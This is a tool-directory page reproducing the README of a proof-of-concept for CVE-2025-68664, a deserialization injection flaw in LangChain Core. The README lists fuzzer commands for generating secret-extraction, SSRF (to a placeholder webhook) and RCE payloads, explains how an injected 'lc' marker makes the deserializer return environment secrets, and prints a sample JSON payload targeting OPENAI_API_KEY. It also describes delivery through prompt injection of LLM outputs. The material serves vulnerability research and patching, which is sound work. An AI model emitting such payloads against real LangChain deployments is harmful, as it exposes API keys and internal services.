Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyยฉ 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-68664-LangGrinch-PoC โ€” A testing framework to identify and demonstrate deserialization vulnerabilities in LangChain Core (<0.3.81). Educational use only | Kitploit
Tools/GitHubGitHub/ak-cybe/cve-2025-68664-langgrinch-poc
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingSecret DetectionLearning & EducationPayload DevelopmentAI Security
GitHubak-cybe/cve-2025-68664-langgrinch-poc

CVE-2025-68664-LangGrinch-PoC

A testing framework to identify and demonstrate deserialization vulnerabilities in LangChain Core (<0.3.81). Educational use only

View Repository
32299 months agoNot yet reviewed

Most Popular

View all โ†’

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools โ†’
Share

Header Banner

Typing SVG

Severity Type Codename Status CWE


๐Ÿ“‘ Table of Contents

  • ๐ŸŽฏ Executive Summary
  • ๐Ÿ“‚ Project Structure
  • ๐Ÿš€ Quick Start
  • ๐Ÿ› Vulnerability Deep Dive
  • ๐Ÿ”ฌ Technical Root Cause Analysis
  • โš”๏ธ Attack Chain Methodology
  • ๐Ÿ’€ Payload Arsenal (55+)
  • ๐ŸŽฎ Operator's Strategy Guide
  • ๐Ÿ›ก๏ธ Mitigation & Defense
  • ๐Ÿ“š References & Credits

๐Ÿ“‚ Project Structure

LangGrinch-PoC/
โ”‚
โ”œโ”€โ”€ README.md              # Main documentation & writeup
โ”œโ”€โ”€ PAYLOADS.md            # Complete payload arsenal (55+)
โ”œโ”€โ”€ langgrinch_fuzzer.py   # Python payload generator & tester
โ”œโ”€โ”€ requirements.txt       # Python dependencies
โ””โ”€โ”€ LICENSE                # MIT License

๐Ÿš€ Quick Start

Installation

# Clone the repository
git clone https://github.com/Ak-cybe/LangGrinch-PoC.git
cd LangGrinch-PoC

# Install dependencies
pip install -r requirements.txt

Usage

# List all available payloads
python langgrinch_fuzzer.py --list

# Show payloads by category
python langgrinch_fuzzer.py --category recon
python langgrinch_fuzzer.py --category ssrf
python langgrinch_fuzzer.py --category rce

# Generate custom secret extraction payload
python langgrinch_fuzzer.py --secret MY_API_KEY

# Generate custom SSRF payload
python langgrinch_fuzzer.py --ssrf http://your-webhook.com/

# Export all payloads to JSON
python langgrinch_fuzzer.py --export payloads.json

Hacker GIF Security GIF Matrix GIF


๐ŸŽฏ Executive Summary

CVE-2025-68664 (Codename: LangGrinch) is a critical serialization injection vulnerability discovered in the LangChain Core Python package. This vulnerability allows attackers to inject malicious lc markers through LLM outputs or user-controlled dictionaries, enabling:

  1. ๐Ÿ”‘ Environment secrets extraction (API keys, DB passwords)
  2. ๐ŸŒ SSRF attacks (hitting internal services)
  3. ๐Ÿ’€ Remote Code Execution (via Jinja2 SSTI chain)
  4. ๐Ÿ“‚ File system access (reading sensitive files)

โšก Quick Stats

๐Ÿ”ฅ Metric๐Ÿ“Š Value
CVE IDCVE-2025-68664
CodenameLangGrinch
Attack TypeDeserialization Injection
Auth RequiredNo (Prompt Injection)
ComplexityLOW

๐ŸŽฏ Affected Versions

๐Ÿ“Œ Property๐Ÿ“ Value
Packagelangchain-core
Vulnerable< 0.3.81, >= 1.0.0 < 1.2.5
Patched0.3.81+, 1.2.5+
ImpactSecrets + RCE
CWECWE-502

๐Ÿ› Vulnerability Deep Dive

Bug GIF

๐Ÿ“‹ Technical Overview

PropertyValue
๐Ÿ†” CVE IDCVE-2025-68664
๐Ÿท๏ธ CodenameLangGrinch
๐Ÿ“Š SeverityCRITICAL ๐Ÿ”ด
๐Ÿ”— CWECWE-502 (Deserialization of Untrusted Data)
๐Ÿ“ฆ Affected Packagelangchain-core
โš ๏ธ Vulnerable Versions< 0.3.81 AND >= 1.0.0, < 1.2.5
โœ… Patched Versions0.3.81+, 1.2.5+

๐Ÿค– What is LangChain?

LangChain is a popular Python framework used to build applications with Large Language Models (LLMs). It is widely deployed across various industries:

๐Ÿข Use Case๐Ÿ“ Description
๐Ÿค– AI ChatbotsCustomer service, support agents
๐Ÿ” RAG SystemsRetrieval-Augmented Generation
๐Ÿ”ง AI AgentsAutonomous task execution
๐Ÿ“Š Data ProcessingDocument analysis, summarization
๐Ÿ”„ Workflow AutomationAI-powered pipelines

๐Ÿ”ง Technical Root Cause

LangChain's internal serialization format uses a special marker - the lc key. When a dictionary contains the lc key, the LangChain deserializer treats it as a "trusted LangChain serialized object."

The bug is:

  • dumps() / dumpd() functions do NOT escape/neutralize the lc key in user/LLM-controlled dictionaries
  • During rehydration via load() / loads(), the injected structure is processed as an internal object
๐Ÿ”“ VULNERABILITY CHAIN:
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  ๐Ÿ“ User/LLM Input โ†’ Dictionary with malicious "lc" marker     โ”‚
โ”‚                           โ†“                                     โ”‚
โ”‚  ๐Ÿ’พ Application serializes data (dumps/dumpd)                   โ”‚
โ”‚                           โ†“                                     โ”‚
โ”‚  โš ๏ธ  "lc" key NOT escaped - remains in serialized form          โ”‚
โ”‚                           โ†“                                     โ”‚
โ”‚  ๐Ÿ”„ Later: Data deserialized (load/loads)                       โ”‚
โ”‚                           โ†“                                     โ”‚
โ”‚  ๐ŸŽฏ Deserializer sees "lc" โ†’ Treats as LangChain object!        โ”‚
โ”‚                           โ†“                                     โ”‚
โ”‚  ๐Ÿ’€ Secret resolution / Object instantiation triggered          โ”‚
โ”‚                           โ†“                                     โ”‚
โ”‚  ๐Ÿ’ฅ SECRETS LEAKED / SSRF / RCE                                 โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

๐Ÿ”ฌ Technical Root Cause Analysis

๐ŸŽฏ The "lc" Marker Problem

In LangChain's serialization format, the presence of "lc": 1 inside a dictionary indicates that it is a LangChain serialized object, not normal user data:

{
  "lc": 1,
  "type": "secret",
  "id": ["OPENAI_API_KEY"]
}

When the deserializer encounters this structure:

  1. lc == 1 confirms it's a LangChain object
  2. type == "secret" triggers the secret resolution path
  3. The environment variable name is extracted from the id array
  4. Result: os.environ["OPENAI_API_KEY"] value is returned!

๐Ÿ—บ๏ธ Attack Flow Diagram

Download Tool